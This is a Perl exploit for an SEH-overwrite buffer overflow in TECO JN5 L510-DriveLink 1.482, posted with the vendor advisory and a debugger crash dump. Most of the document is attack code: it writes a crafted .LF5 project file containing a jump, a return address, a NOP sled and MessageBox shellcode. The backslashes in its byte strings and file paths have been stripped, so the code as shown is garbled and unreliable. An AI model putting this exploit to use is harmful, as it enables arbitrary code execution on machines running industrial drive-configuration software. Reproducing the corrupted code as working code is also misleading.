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TECO JN5 L510-DriveLink 1.482 SEH Overwrite Buffer Overflow

Posted on 17 November 2015

#!/usr/bin/perl
#
#
# TECO JN5 L510-DriveLink 1.482 SEH Overwrite Buffer Overflow Exploit
#
#
# Vendor: TECO Electric and Machinery Co., Ltd.
# Product web page: http://www.teco-group.eu
# Download: http://globalsa.teco.com.tw/support_download.aspx?KindID=9
# Affected version: 1.482 and 1.462
#
# Summary: JN5 DriveLink is a free program that enables you to
# configure the AC Motor Drive, 510 Series PC-Link. It provides
# support for sleep and fire modes favourable for pumps, fans,
# compressors, and HVAC and communication network protocol of
# Modbus/ BACnet/ Metasys N2.
#
# Desc: The vulnerability is caused due to a boundary error in the
# processing of a project file, which can be exploited to cause a
# buffer overflow when a user opens e.g. a specially crafted .LF5 file.
# Successful exploitation could allow execution of arbitrary code on
# the affected machine.
#
# ---------------------------------------------------------------------------------
# (14c0.12ec): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Windowssystem32MFC42.DLL -
# *** WARNING: Unable to verify checksum for C:Program Files (x86)TECOJN5 DriveLinkL510-DriveLinkL510-DriveLink.exe
# *** ERROR: Module load completed but symbols could not be loaded for C:Program Files (x86)TECOJN5 DriveLinkL510-DriveLinkL510-DriveLink.exe
# eax=000026a0 ebx=0018f430 ecx=41414141 edx=00000001 esi=0018f408 edi=ffffd961
# eip=70735d7e esp=0018f350 ebp=0018f364 iopl=0 nv up ei ng nz na po nc
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210282
# MFC42!Ordinal2740+0xaa:
# 70735d7e 8b01 mov eax,dword ptr [ecx] ds:002b:41414141=????????
# 0:000> !exchain
# 0018f3e4: 41414141
# Invalid exception stack at 41414141
# ---------------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN) 64bit
# Microsoft Windows 7 Ultimate SP1 (EN) 64bit
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2015-5279
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5279.php
#
#
# 09.10.2015]
#

my $header = "x04x00x00x00x0Ax00x00x00x4Cx35x31x30x2Dx31".
 "x50x32x2Dx48x0Ex00x00x00x14x00x00x00x01x00";

# 113 bytes MessageBox shellcode
my $sc = "x31xd2xb2x30x64x8bx12x8bx52x0cx8bx52x1cx8bx42".
 "x08x8bx72x20x8bx12x80x7ex0cx33x75xf2x89xc7x03".
 "x78x3cx8bx57x78x01xc2x8bx7ax20x01xc7x31xedx8b".
 "x34xafx01xc6x45x81x3ex46x61x74x61x75xf2x81x7e".
 "x08x45x78x69x74x75xe9x8bx7ax24x01xc7x66x8bx2c".
 "x6fx8bx7ax1cx01xc7x8bx7cxafxfcx01xc7x68x65x64".
 "x21x01x68x20x50x77x6ex68x20x5ax53x4cx89xe1xfe".
 "x49x0bx31xc0x51x50xffxd7";

my $buffer = "A" x 43 . "xEBx06x90x90" . "xB0x5Dx40x00" . "x90" x 16 . $sc . "x90" x 20 . "D" x 2627;

my $file = "Gaming Nerdz.lf5";
my $junk = $header.$buffer;
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "Malicious LF5 file created successfully!
";

 

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